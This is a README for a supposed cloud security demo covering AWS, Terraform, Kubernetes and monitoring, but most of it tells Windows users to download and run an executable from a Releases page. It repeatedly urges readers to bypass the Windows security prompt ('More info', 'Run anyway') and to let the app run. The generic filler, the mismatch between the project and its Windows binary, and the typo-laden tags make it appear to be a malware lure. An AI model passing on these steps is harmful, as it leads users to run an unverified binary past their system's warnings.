zero-trust-cloud-automation-platform is a cloud security demo that shows how a protected cloud setup works with AWS, Terraform, Docker, Kubernetes, and serverless automation.
It is built for learning and demo use. You can use it to explore:
- Safe cloud access rules
- App deployment with containers
- Event-based incident response
- Firewall-style web protection
- Basic monitoring with charts and alerts
- Automated setup with infrastructure code
Visit this page to download the release file for Windows:
Choose the latest release, then download the Windows file that matches your system. If the release includes a ZIP file, download it first, then extract it before you run the app.
- Open the Releases page.
- Download the latest Windows package.
- Right-click the ZIP file and choose Extract All.
- Open the extracted folder.
- Find the app file or start file inside the folder.
- Double-click the file to run it.
- If Windows shows a security prompt, choose More info and then Run anyway if you trust the source.
- Windows 10 or Windows 11
- 4 GB RAM or more
- 2 GB free disk space
- Internet access for the first setup
- A modern web browser
- Optional: AWS access if you want to explore the cloud demo parts
This project brings together several parts of a cloud system:
- Container apps for running services in Docker
- Kubernetes deployment for app orchestration
- Terraform modules for repeatable setup
- Serverless functions for event tasks
- DynamoDB for data storage
- S3 for file storage
- IAM access control for permissions
- WAF rules for web protection
- VPC network controls
- Prometheus and Grafana for monitoring
- Incident response automation for security events
The platform follows a zero-trust model. That means each part must prove it should get access before it can do anything.
In simple terms:
- Users and services get only the access they need
- Network paths stay limited
- Security checks run before actions
- Events can trigger response tasks
- Logs and metrics help track system health
- Cloud setup built with Terraform
- Docker-based service packaging
- Kubernetes deployment example
- Lambda-style incident response flow
- Web protection with WAF rules
- Network isolation with VPC design
- Monitoring with Prometheus and Grafana
- CI/CD workflow for automated builds
- Data flow examples with DynamoDB and S3
- Endpoint protection ideas for cloud workloads
You may see folders like these in the release package:
terraform— cloud setup filesdocker— container build fileskubernetes— deployment fileslambda— serverless scriptsmonitoring— metrics and dashboard filesdocs— setup notes and guidesscripts— helper scripts for setup or cleanup
- Download the release from the Releases page.
- Extract the files.
- Open the app or launcher file.
- If the app asks for access, allow it to run.
- Follow the on-screen steps.
- Open the browser link if the package starts a local web page.
- Use the included demo data or setup files if they appear.
The project includes monitoring ideas for cloud apps and containers. This helps you see:
- Server health
- Request activity
- Error spikes
- Security events
- System load
- Service uptime
Grafana panels may show charts for CPU, memory, request rate, and alert status. Prometheus gathers the metrics that feed those charts.
This platform shows how to build a safer cloud setup with:
- IAM roles and limited permissions
- VPC separation for network control
- WAF protection for web traffic
- Event-driven incident response
- Secure container deployment
- Protected storage access
- Basic endpoint protection patterns
The CI/CD flow helps automate build and release steps.
A typical flow may include:
- Code changes are added
- The build runs
- Container images are created
- Tests run
- The package is published
- The release becomes ready for download
This project works well if you want to study:
- How cloud parts fit together
- How containers run in a cluster
- How serverless actions react to events
- How access rules protect cloud resources
- How monitoring helps spot problems
- How infrastructure code supports repeatable setup
You may find these file types in the release package:
.exefor Windows app launch.zipfor packaged files.yamlor.ymlfor deployment settings.tffor Terraform code.jsonfor app or cloud settings.shfor helper scripts.mdfor instructions
Try these steps:
- Make sure the files are fully extracted.
- Run the app from the extracted folder.
- Check that Windows did not block the file.
- Close the app and open it again.
- Restart Windows and try once more.
- Download the latest release again if the file looks incomplete.
- ci-cd
- docker-image
- dynamodb
- endpoint-protection
- event-driven
- grafana
- iam
- incident-response
- kubernetes-deployment
- promutheus
- pvc
- s3
- serverless-architectures
- terraform-module
If you need the release files again, use this link:
When you open the release page, look for:
- The newest version tag
- A Windows download file
- A ZIP package if one is included
- A short note that explains how to run it
- Any included docs file for setup help